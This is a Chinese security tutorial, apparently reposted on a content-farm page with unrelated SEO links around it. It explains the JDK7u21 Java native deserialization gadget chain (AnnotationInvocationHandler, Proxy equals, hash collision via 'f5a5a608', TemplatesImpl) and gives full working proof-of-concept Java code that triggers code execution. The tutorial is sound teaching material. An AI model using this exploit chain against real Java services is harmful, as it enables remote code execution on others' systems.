当前位置: 首页 > news >正文

河南网站建设哪里好河南省招标投标信息网官网

河南网站建设哪里好,河南省招标投标信息网官网,总结网站推广策划书的共同特点,做最便宜的网站建设文章目录 【java安全】原生反序列化利用链JDK7u21前言原理equalsImpl()如何调用equalsImpl()#xff1f;HashSet通过反序列化间接执行equals()方法如何使hash相等#xff1f; 思路整理POCGadget为什么在HashSet#add()前要将HashMap的value设为其他值#xff1f; 【java安全】… 文章目录 【java安全】原生反序列化利用链JDK7u21前言原理equalsImpl()如何调用equalsImpl()HashSet通过反序列化间接执行equals()方法如何使hash相等 思路整理POCGadget为什么在HashSet#add()前要将HashMap的value设为其他值 【java安全】原生反序列化利用链JDK7u21 前言 前面我们学习了使用第三方类Common-Collections、Common-Beanutils进行反序列化利用。我们肯定会想如果不利用第三方类库能否进行反序列化利用链呢这里还真有JDK7u21。但是只适用于java 7u及以前的版本 在使用这条利用链时需要设置jdk为jdk7u21 原理 JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler没错就是我们之前学习过的那个类位于sun.reflect.annotation包下 equalsImpl() 我们看一下equalsImpl()、getMemberMethods方法 private Boolean equalsImpl(Object var1) { //传入var1...} else {Method[] var2 this.getMemberMethods();int var3 var2.length;for(int var4 0; var4 var3; var4) {Method var5 var2[var4]; // var5是一个方法对象String var6 var5.getName();Object var7 this.memberValues.get(var6);Object var8 null;AnnotationInvocationHandler var9 this.asOneOfUs(var1);if (var9 ! null) {var8 var9.memberValues.get(var6);} else {try {var8 var5.invoke(var1); // 这里会调用var1这个对象的var5方法} ...return true;}}private transient volatile Method[] memberMethods null;private Method[] getMemberMethods() {if (this.memberMethods null) {this.memberMethods (Method[])AccessController.doPrivileged(new PrivilegedActionMethod[]() {public Method[] run() {Method[] var1 AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]AccessibleObject.setAccessible(var1, true);return var1;}});}return this.memberMethods;}equalsImpl()方法中明显会调用memberMethod.invoke(o) 而memberMethod来自于this.type.getDeclaredMethods() 如果我们此时传入invoke()中的形参为TemplatesImpl对象并且this.type是TemplatesImpl的字节码对象。 那么经过循环就会调用TemplatesImpl对象中的每个方法就必然会调用newTransformer()或getOutputProperties()方法从而执行恶意字节码了 如何调用equalsImpl() 那么在哪里会调用equalsImpl()方法呢invoke() public Object invoke(Object var1, Method var2, Object[] var3) {String var4 var2.getName();Class[] var5 var2.getParameterTypes();//当执行invoke()方法时传入的方法名字为equals并且形参只有一个类型为Object就会执行 equalsImpl()if (var4.equals(equals) var5.length 1 var5[0] Object.class) {return this.equalsImpl(var3[0]); } else {assert var5.length 0;if (var4.equals(toString)) {return this.toStringImpl();} else if (var4.equals(hashCode)) {return this.hashCodeImpl();} else if (var4.equals(annotationType)) {return this.type;} else {Object var6 this.memberValues.get(var4); //cc1...}}}我们之前cc1中是另this.memberValues等于一个LazyMap对象让其调用get()方法就可以执行cc1利用链了 但是这里我们不需要利用这里我们需要注意这里 //当执行invoke()方法时传入的方法名字为equals并且形参只有一个类型为Object就会执行 equalsImpl() if (var4.equals(equals) var5.length 1 var5[0] Object.class) {return this.equalsImpl(var3[0]); }我们应该思考这里的invoke()方法如何被调用并且刚好使形参的第二个为equals、第三个参数的类型为Object对象 我们之前学习过动态代理当一个代理对象Proxy调用一个方法时就会调用构造该代理对象时传入的InvocationHandler的invoke()方法并且第二个参数为methodName方法名invoke()第三个参数为调用方法时传入的参数 所以现在我们需要找到一个类他在反序列化时会间接的对Proxy对象调用equals()方法 HashSet通过反序列化间接执行equals()方法 HashSet可以做到这个效果实现这个效果有一点复杂我们先大致了解一下过程 我们创建一个LinkedHashSet对象当反序列化时会遍历每一个值使用LinkedHashMap#put()方法 put()方法中这几行是重点 int hash hash(key); //计算key的hash值 int i indexFor(hash, table.length); //这个i也是hash for (EntryK,V e table[i]; e ! null; e e.next) {Object k;if (e.hash hash ((k e.key) key || key.equals(k))) //重点这里会对key的hash与表中取出的e的hash做一个比较如果这俩个hash相等但是又不是同一个对象的化就会执行key的equals()方法传入参数k 这里我们假设key是Proxy代理对象并且这里传入的k是一个TemplatesImpl恶意对象那么就会执行AnnotationInvocationHandler的invoke()方法从而执行equalsImpl()中的invoke()方法 最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE 我们怎么控制上面的key以及ke.key呢 其实我们上面已经分析了一下这个key和k其实就是我们添加进入LinkedHashSet中的元素而已 // 实例化HashSet并将两个对象放进去 HashSet set new LinkedHashSet(); set.add(templates); set.add(proxy);我们应该先添加TemplatesImpl对象再添加Proxy代理对象这样才好触发key.equals(k) 如何使hash相等 我们上面其实默认了一个前提那就是e.hash hash 。其实这两个默认肯定不相等我们需要一些小操作使其相等 我们先来看看HashMap中的hash()方法 final int hash(Object k) {...h ^ k.hashCode();h ^ (h 20) ^ (h 12);return h ^ (h 7) ^ (h 4);}这里自始至终只用到了一个变量k.hashCode()其他的都相等我们想要Proxy和TemplateImpl的hash相等其实只需要让k.hashCode()相等即可 TemplateImpl的 hashCode() 是一个Native方法每次运 行都会发生变化我们理论上是无法预测的所以想让proxy的 hashCode() 与之相等只能寄希望于 proxy.hashCode() 当我们调用proxy.hashCode()时就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法我们继续看看invoke() public Object invoke(Object var1, Method var2, Object[] var3) {String var4 var2.getName();Class[] var5 var2.getParameterTypes();} else if (var4.equals(hashCode)) {return this.hashCodeImpl();}...}}可见会继续调用invoke()中的hashCodeImpl()方法 private int hashCodeImpl() {int var1 0;Map.Entry var3;for(Iterator var2 this.memberValues.entrySet().iterator(); var2.hasNext(); var1 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {var3 (Map.Entry)var2.next();}return var1;}重点是下面这一句var1是计算累加和的如果this.memberValues是一个HashMap类型并且其中只有一个元素那么函数的返回值就变成了这个了 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()) 即 127 * key.hashCode() ^ value.hashCode()我们想让Proxy和TemplateImpl的hash相等并且TemplateImplhash不可控。 上述代码中如果我们令key.hashCode()0并且我们令value 等于TemplateImpl对象那么这两个的hash就相等了进而可以执行Proxy的equals()方法了 我们需要找到一个值的hashCode为0是可以通过爆破来实现的 public static void bruteHashCode() {for (long i 0; i 9999999999L; i) {if (Long.toHexString(i).hashCode() 0) {System.out.println(Long.toHexString(i));}} }跑出来第一个是 f5a5a608 这个也是ysoserial中用到的字符串 思路整理 讲完了这么多我们理清一下思路 先创建一个恶意TemplatesImpl对象 TemplatesImpl templates new TemplatesImpl(); setFieldValue(templates,_bytecodes,new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()}); setFieldValue(templates, _name, HelloTemplatesImpl); setFieldValue(templates, _tfactory, new TransformerFactoryImpl());为了使Proxy和TemplateImpl的hash相等以便执行equals()我们需要让AnnotationInvocationHandler的this.memberValues等于一个HashMap并且只有一个元素key为f5a5a608value为TemplateImpl对象这样由AnnotationInvocationHandler组成的代理对象proxy与TemplateImpl的hash就会相等 所以创建一个HashMap // 实例化一个map并添加Magic Number为key也就是f5a5a608value先随便设置一个值 HashMap map new HashMap(); map.put(zeroHashCodeStr, foo);实例化 AnnotationInvocationHandler 对象 它的type属性是一个TemplateImpl类它的memberValues属性是一个MapMap只有一个key和valuekey是字符串 f5a5a608 value是前面生成的恶意TemplateImpl对象 实例化AnnotationInvocationHandler类将map传参进去经过构造函数设置为memberValues 由于equalImpl()方法会调用memberMethod.invoke(o)这个memberMethod来自this.type.getDeclaredMethods()所以需要设置type为TemplatesImpl的 字节码这里构造函数会将第一个参数设为type Constructor handlerConstructor Class.forName(sun.reflect.annotation.AnnotationInvocationHandler).getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);在创建核心的LinkedHashSet之前我们需要创建一个代理对象将tempHandler给传进去 // 为tempHandler创造一层代理 Templates proxy (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);然后实例化HashSet // 实例化HashSet并将两个对象放进去 HashSet set new LinkedHashSet(); set.add(templates); set.add(proxy);添加的先后顺序要注意一下Proxy应该放在后面这样才会调用Proxy#equals() 这样在反序列化触发rce的流程如下 首先触发HashSet的readObject()方法然后集合中的值会使用LinkedHasnMap的put(key,常数)方法进行key去重 去重时计算元素的hashcode由于我们已经构造其相等所以会触发Proxy#equals()方法 进而调用AnnotationInvocationHandler#invoke()- AnnotationInvocationHandler#equalsImpl()方法 equalsImpl()会遍历type的每个方法并调用。 因为this.type是TemplatesImpl字节码对象所以最终会触发newTransformer()造成RCE POC import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates new TemplatesImpl();setFieldValue(templates,_bytecodes,new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, _name, HelloTemplatesImpl);setFieldValue(templates, _tfactory, new TransformerFactoryImpl());String zeroHashCodeStr f5a5a608;// 实例化一个map并添加Magic Number为key也就是f5a5a608value先随便设置一个值HashMap map new HashMap();map.put(zeroHashCodeStr, foo);// 实例化AnnotationInvocationHandler类Constructor handlerConstructor Class.forName(sun.reflect.annotation.AnnotationInvocationHandler).getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 实例化HashSet并将两个对象放进去HashSet set new LinkedHashSet();set.add(templates);set.add(proxy);// 将恶意templates设置到map中map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(set);oos.close();System.out.println(barr);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);} }Gadget HashSet#readObject()LinkedHashMap#put(e, PRESENT)Proxy#equals(k)AnnotationInvocationHandler#invoke()equalsImpl()TemplatesImpl#newTransformer()...ClassLoader.defineClass()...Runtime.exec()为什么在HashSet#add()前要将HashMap的value设为其他值 我们追踪一下HashSet#add()方法发现他也会调用HashMap#put()方法这样就会导致Proxy提前触发equals()方法造成命令执行 我们测试一下 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates new TemplatesImpl();setFieldValue(templates,_bytecodes,new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, _name, HelloTemplatesImpl);setFieldValue(templates, _tfactory, new TransformerFactoryImpl());String zeroHashCodeStr f5a5a608;HashMap map new HashMap();map.put(zeroHashCodeStr, templates); //value再这里设为templatesConstructor handlerConstructor Class.forName(sun.reflect.annotation.AnnotationInvocationHandler).getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);Templates proxy (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);HashSet set new LinkedHashSet();set.add(templates);set.add(proxy);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);} }成功不经过反序列化就弹出计算器 所以我们需要先将HashMap的唯一一个元素的value设为其他值
http://www.w-s-a.com/news/271536/

相关文章:

  • 有什么做任务拿钱的网站精准的搜索引擎优化
  • 洛阳有建社网站的吗电力建设工程质量监督总网站
  • 网站404报错热水器网站建设 中企动力
  • 网站降权恢复淘宝 网站建设
  • 安州区建设局网站台州优秀关键词优化
  • 网站假设教程湖南微信管理系统
  • 网站备案属于公司哪一块哪个网站是专门做封面素材
  • 广州个人做网站内江建设局网站
  • 网站开发 360百科大连哪里有手机自适应网站建设维护
  • 如何查网站pv网站功防教程
  • 建设银行网站信息补充营销推广的作用
  • 网站见建设seo外链自动群发工具
  • 在境外做网站网站团购网站seo
  • 进网站后台加什么360推广 网站建设
  • 网站备案号码专做网站漏扫的工具
  • 罗店网站建设wordpress响应式
  • 网站怎么制作小程序wordpress实时获取qq资料
  • 网站的流量怎么赚钱经销做网站都有什么好处
  • 如何做好网站首页企术建站
  • 杭州网站建设咨询蓝韵网络聊城有制作网站的吗
  • 网站开发注意的事项深圳企业网站
  • 哈尔滨网站制作哪里专业网站建设维护有哪些内容
  • 花的网站建设规划书网络营销培训
  • 又拍云wordpress全站cdn无锡做网站品牌公司
  • 计算机网络工程网站建设黄石建设信息网站
  • 旅游网站开发毕业设计开题报告青岛网站建设服务公司
  • 人员调动在网站上怎么做网站开发课程意见和建议
  • 卓训网是个什么网站wordpress命令执行时间
  • 网站建设需要做哪些工作网片焊接
  • 网站优化方案dedecms win8风格网站模板